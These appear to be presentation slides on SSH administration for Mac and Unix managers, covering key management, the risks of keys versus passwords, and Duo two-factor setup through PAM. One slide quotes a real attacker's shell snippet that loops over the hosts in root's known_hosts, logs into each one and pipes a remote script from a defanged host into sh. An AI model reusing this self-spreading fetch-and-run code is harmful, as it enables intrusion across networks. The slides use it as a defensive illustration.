Mac Managers - SSH

A little history

- In the beginning Unix
- Networking
- The r commands
- rlogin
- rsh
- rcp
- rexec

Move to encryption

- ssh replaced the r commands starting about 1995
- ssh
- scp
- sftp

The most common SSH package is OpenSSH from the OpenBSD Project.

There are other SSH implementations, though few continue to be developed.

SSH Configuration Files

- System files usually in /etc/ssh - moduli, ssh_config, sshd_config, ssh_known_hosts and ssh_host*key* possibly others, like sshrc
- User files usually in ~/.ssh - authorized_keys, environment, config, known_hosts, rc

Managing host and user keys

- Host keys
- Copy /etc/ssh/ssh_host*key* or use ssh-keyscan
- Add .pub or output of ssh-keyscan to ssh_known_hosts
- Users can add host keys to ~/.ssh/known_hosts

Managing Keys

- User keys
- ~/.ssh/id_* (identity and identity.pub are for the now deprecated SSH-1)
- Add the .pub files to remote authorized_keys files

ssh-keygen

- Used to create both host and user key pairs.
- The host keys are almost always created the first time the ssh service is started. On most Unix/Linux systems this is at boot time. On macOS this is the first time sshd is started by launchd.

Permitroot prohibit-password

For management purposes root access to remote systems is typically needed, however it's unwise to allow using a password for this access. Instead, using a key is the preferred method. Further restrictions can be placed on what hosts may login using a particular key. Also, restrictions can be put on what commands may be executed associated with a key.

authorized_keys

- restrict
- command
- from

Sharing host keys

Under certain circumstances, such as a cluster of systems, it's useful to use the same set of host keys on multiple machines.

macOS modifications

- AllowUsers in sshd_config vs the Unix group com.apple.access_ssh
- Passphase stored in keychain, "UseKeychain yes" in .ssh/config (just don't share that file with standard OpenSSH).
- If XQuartz is installed, DISPLAY is set in Terminal, which is useful when doing X11 Forwarding.

ProxyJump

This is a newer feature of OpenSSH, which allows a connection to be made through a system in a fashion transparent to the originating client.

Parallel SSH

- Various scripts or programs to run commands on multiple hosts in parallel:
- GNU parallel
- pgsh
- pdsh

High Performance SSH

- HPN-SSH - seems to no longer be active

Tools to use with SSH

- rsync

SSH

Keys versus passwords

Two-factor with Duo

July 2019

David Richardson, System Administrator

Center for High Performance Computing, University of Utah

SSH – Keys versus passwords

- Keys are better than passwords
- You never have to worry about a weak key the way you do a weak password
- .ssh/authorized_keys example
  - ssh-ed25519 ilZHRquKn0BmFjUv1XX14 me@somemachine
- You can restrict a key to be used from a particular IP address
  - from=mymachine.example.com KeyType KeyData KeyComment
- You can set a forced command for a particular key
  - command=/root/backup.sh KeyType KeyData KeyComment

SSH – Keys versus passwords

- Keys are as good as passwords

- The key and password are used for authentication, but not for the actual encryption of the connection.

- Examining the network traffic, you couldn’t tell the difference between the best 4096 bit key and the password “password”

SSH – Keys versus passwords

- Keys are worse than passwords

- Most people want to use their keys to login without typing their password
  - Requiring a password to unlock the key would defeat this goal
  - Thus, they often leave their keys unencrypted

- Anyone who can read the files has the ability to jump to other machines
  - In contrast, with passwords, the attacker would have to have a keylogger running at the time the user typed the password

- There are work-arounds for unencrypted keys, like the SSH agent, but that is deep magic that takes work, compared to leaving the key unencrypted

Story time!

- In 2002, much of CHPC’s staff was at the annual Super Computing conference (that year in Baltimore, MD). The FBI gathered system admins from schools, centers, and labs across the country.

- Congratulations! While you’re all traveling, your systems back home have been compromised.

- The original attack vector was unknown, but at the first compromised site, the attackers captured unencrypted keys and knowledge of where to try using those keys (.ssh/known_hosts files), and were able to spread.

Story time! – Part 2

- Recently, I was cleaning up a compromised web server. Luckily, the attackers didn’t escalate to root.

- While investigating, I discovered the following snippet in the attacker’s script:

```
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL hxxps://bad.site/HdjSc4JR||wget -q -O- hxxps://bad.site/raw/HdjSc4JR)|sh >/dev/null 2>&1 &' & done
fi
```

- Translation: loop through all IP addresses that the user has logged into from this machine. Login to them and run the attack script there.

SSH - Keys versus passwords

- Keys and passwords both have benefits and liabilities
- Consider what you’re trying to accomplish
- Consider the threats you face

- “All or nothing” is probably the wrong answer

- CHPC’s answer is to disable key logins generally, then re-enable them for specific users on specific machines, after consulting with the user about how to handle their work-flow

Duo – How does Duo work?

- User on client machines attempts to login to remote machine
- Remote machine talks to Duo
- Duo sends a request to the user (Duo app on phone/tablet, phone call, SMS text message)
- User confirms or denies the login
- Duo reports to the remote machine

Duo – How does Duo work?

- What if the user doesn’t have a phone, or doesn’t have signal at the moment?

- Math to the rescue!
  - Duo can also work like a traditional RSA token
  - Duo corp and the Duo app (or keyfob) share a secret, and they both know the current time
  - The app or keyfob generates a code, which the user types into the login prompt
  - If the codes match, the user has proven they have the secret key, and are allowed in

Duo - Living with Duo

- Integrations:
  - For each kind of service you wish to use Duo to authenticate (SSH, remote desktop, web login), you create an “integration”
  - Each integration has an “integration key” or “ikey”, which Duo uses to identify which settings to use on the backend
  - Each integration also has a “secret key” or “skey”, which is used to authorize and protect the traffic between the protected machine and Duo corp

  - Example: CHPC has two SSH integrations: one for our general environment, one for our HIPAA protected environment. While they are for the same service (SSH), they can have different settings.

Duo – Living with Duo

- Users
    - Users may have multiple devices
        - I have my main phone, an old phone without cell service, and a keyfob
    - In the University of Utah’s environment, users are tied to their Active Directory accounts

- Groups
    - Groups are how users are linked to integrations

Duo – Living with Duo

- CHPC currently has five integrations and three groups
  - Integrations:
    - CHPC-Unix (SSH, general environment)
    - CHPC-RDP (Remote desktop, general environment)
    - CHPC-PE-Unix (SSH, protected environment)
    - CHPC-PE-RDP (Remote desktop, protected environment)
    - CHPC-External-Unix (SSH, cloud-hosted machines)
  - Groups:
    - CHPC (Used for our general environment)
    - CHPC-PE (people with access to the protected environment)
    - CHPC-External (people with access to our cloud-hosted machines)

Duo – Living with Duo

- UIT has been great to work with about Duo!
  - They've helped us understand how Duo works
  - They've been quick to handle our (few) requests for new integrations and groups
  - They're quick to make group membership changes
    - Currently, group membership changes have to be made through the Duo admin panel
      - UIT is reluctant to allow others to access
      - The IAM (Identity Access Management) team will make the changes for you
      - <sarcasm>I can think of no possible reason for this stance</sarcasm>
      - This could be a pain-point for some

Duo – Configuring SSH

- SSH is configured to use Duo via the PAM (Pluggable Authentication Module) stack
- Full instructions at https://duo.com/docs/duounix
- The source code is open-source (GPL version 2). Pre-compiled packages are also available for some platforms.

Duo – Configuring SSH

- The magic is in the PAM configuration
  - Change
    - auth sufficient pam_unix.so nullok try_first_pass

  To

    - auth requisite pam_unix.so nullok try_first_pass
    - auth sufficient pam_duo.so

- More complex configurations are possible
- This is a CentOS 7 example, but other platforms should be similar

Duo – SSH keys caveat

- Beware!
- When SSH authenticates a login via a key, it does NOT call PAM
    - Thus, an SSH key bypasses Duo

- How to work around this:
    - Forced commands
        - Duo documents how to do this with the login_duo
    - sshd configuration
        - The SSH manual says AuthenticationMethods can be set to require both the key and the PAM stack; I have not tried this.